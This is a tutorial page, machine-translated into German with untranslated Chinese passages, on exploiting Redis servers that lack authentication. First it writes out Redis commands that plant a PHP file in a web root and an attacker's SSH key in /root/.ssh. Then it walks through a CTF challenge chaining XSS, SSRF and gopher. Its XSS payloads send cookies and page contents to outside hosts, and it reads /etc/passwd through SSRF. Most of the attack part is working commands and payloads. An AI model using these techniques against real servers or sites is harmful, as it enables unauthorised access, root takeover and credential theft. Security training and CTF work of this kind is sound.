Heim > Datenbank > Redis > Hauptteil

Einführung in den unbefugten Zugriff von Redis

Freigeben: 2020-05-14 09:24:06
nach vorne
3127 Leute haben es durchsucht

Einführung in den unbefugten Zugriff von Redis

Redis ist eine nicht relationale Datenbank mit Schlüssel-Wert-Paaren.

Redis ist eine Open-Source-Schlüsselwertdatenbank vom Protokolltyp, die in der ANSI-C-Sprache geschrieben ist, sich an das BSD-Protokoll hält, das Netzwerk unterstützt, speicherbasiert und persistent sein kann und APIs in mehreren Sprachen bereitstellt.

Er wird oft als Datenstrukturserver bezeichnet, da Werte Zeichenfolgen, Hashes, Karten, Mengen und sortierte Mengen und andere Typen sein können.

Installationsservice

Win

Download-Adresse: https://github.com/MSOpenTech/redis/releases
Testumgebung:

Betriebssystem: win7
IP: 192.168.107.144

Einführung in den unbefugten Zugriff von Redis

Befehlszeileneingabe

redis-server.exe redis.conf
Nach dem Login kopieren

Einführung in den unbefugten Zugriff von Redis

Dann überprüfen Sie den Port

Einführung in den unbefugten Zugriff von Redis

Port 6379 (Redis-Standardport) wurde geöffnet

Redis wurde erfolgreich gestartet

Ubuntu

Installieren

sudo apt-get update
sudo apt-get install redis-server
Nach dem Login kopieren

Dienst starten

redis-server
Nach dem Login kopieren

Grundlegende Befehle

Redis verbinden

redis-cli.exe -h 192.168.107.144
Nach dem Login kopieren

Taste anzeigen ist x Der Wert von

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"
Nach dem Login kopieren

alle Schlüssel abrufen

redis 192.168.107.144:6379> keys *
1) "x"
Nach dem Login kopieren

alle Schlüssel löschen

redis 192.168.107.144:6379>flushall
Nach dem Login kopieren

exploit

Diese Maschine geht aktiv durch Stellen Sie mit dem Telnet-Befehl eine Verbindung zum Zielcomputer her

Einführung in den unbefugten Zugriff von Redis

oder stellen Sie eine Verbindung über redis-cli.exe -h 192.168.107.144

Einführung in den unbefugten Zugriff von Redis

<🎜 her >Die Verbindung ist erfolgreich

Geben Sie Informationen ein, um relevante Informationen zu erhalten

Sie können die Redis-Versionsnummer usw. sehen.

Einführung in den unbefugten Zugriff von Redis

Verwendungsmethoden

  • Schreiben Sie einen Satz in die Webshell

  • Schreiben Sie den öffentlichen SSH-Schlüssel

Schreiben Sie die Shell

Einführung in den unbefugten Zugriff von Redis

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save
Nach dem Login kopieren

Erfolgreich auf die Zielmaschine geschrieben

Einführung in den unbefugten Zugriff von Redis

Öffentlicher SSH-Schlüssel geschrieben

Generieren Sie lokal ein Schlüsselpaar

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
Nach dem Login kopieren

Einführung in den unbefugten Zugriff von Redis

Schreiben Sie dann den öffentlichen SSH-Schlüssel in den Zielcomputer

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存
Nach dem Login kopieren

und stellen Sie dann lokal eine Verbindung zu SSH her

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
Nach dem Login kopieren

dann

Redis in CTF (XSS->SSRF&Gopher->Redis)

Das Thema ist

Einführung in den unbefugten Zugriff von Redis

Titeladresse: https://hackme.inndy.tw/scoreboard/

xeeme

Durchgesickert

1Einführung in den unbefugten Zugriff von Redis

Gefunden in robots.txt. Der durchgesickerte Quellcode

ist das verschlüsselte config.php

1Einführung in den unbefugten Zugriff von Redis

xss-Cookie

Schnittstelle nach der Registrierung und Anmeldung

1Einführung in den unbefugten Zugriff von Redis

Das Senden einer E-Mail wird überprüft

1Einführung in den unbefugten Zugriff von Redis

Schreiben Sie ein Skript zur Überprüfung

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>
Nach dem Login kopieren

und dann filtern. Einige Dinge

1Einführung in den unbefugten Zugriff von Redis

getestet mit img

Einführung in den unbefugten Zugriff von Redis

onload wird auch gefiltert

Einführung in den unbefugten Zugriff von Redis

Hier ist mir ein Detail aufgefallen, das gefiltert wird: Leerzeichen plus Onerror. Ich vermute, dass es gefiltert wird, wenn es mit Leerzeichen übereinstimmt, also erstelle ich ein Onerror ohne Leerzeichen, versuche es mit Payload

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="Einführung in den unbefugten Zugriff von Redis" >
Nach dem Login kopieren

und dann ein Cookie setzen

Einführung in den unbefugten Zugriff von Redis

SITZUNG dekodieren

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
Nach dem Login kopieren

xssrf-Leck

Laut dem Cookie in der vorherigen Frage, FLAG_2=IN_THE_REDIS

Immer noch die gleiche Umgebung

Da ich das Administrator-Cookie erhalten habe, habe ich mich angemeldet

Einführung in den unbefugten Zugriff von Redis

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >
Nach dem Login kopieren

Einführung in den unbefugten Zugriff von Redis

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >
Nach dem Login kopieren

发现收到请求

Einführung in den unbefugten Zugriff von Redis

解个码,放在本地

Einführung in den unbefugten Zugriff von Redis

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">
Nach dem Login kopieren

vps收到请求

Einführung in den unbefugten Zugriff von Redis

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>
Nach dem Login kopieren

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
Nach dem Login kopieren

成功读到/etc/passwd

Einführung in den unbefugten Zugriff von Redis

于是读之前的config.php

Einführung in den unbefugten Zugriff von Redis

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">
Nach dem Login kopieren

Einführung in den unbefugten Zugriff von Redis

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
Nach dem Login kopieren

1Einführung in den unbefugten Zugriff von Redis

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
Nach dem Login kopieren

1Einführung in den unbefugten Zugriff von Redis

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
Nach dem Login kopieren

1Einführung in den unbefugten Zugriff von Redis

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
Nach dem Login kopieren

1Einführung in den unbefugten Zugriff von Redis

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
Nach dem Login kopieren

1Einführung in den unbefugten Zugriff von Redis

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)
Nach dem Login kopieren

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

Das obige ist der detaillierte Inhalt vonEinführung in den unbefugten Zugriff von Redis. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:先知社区
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage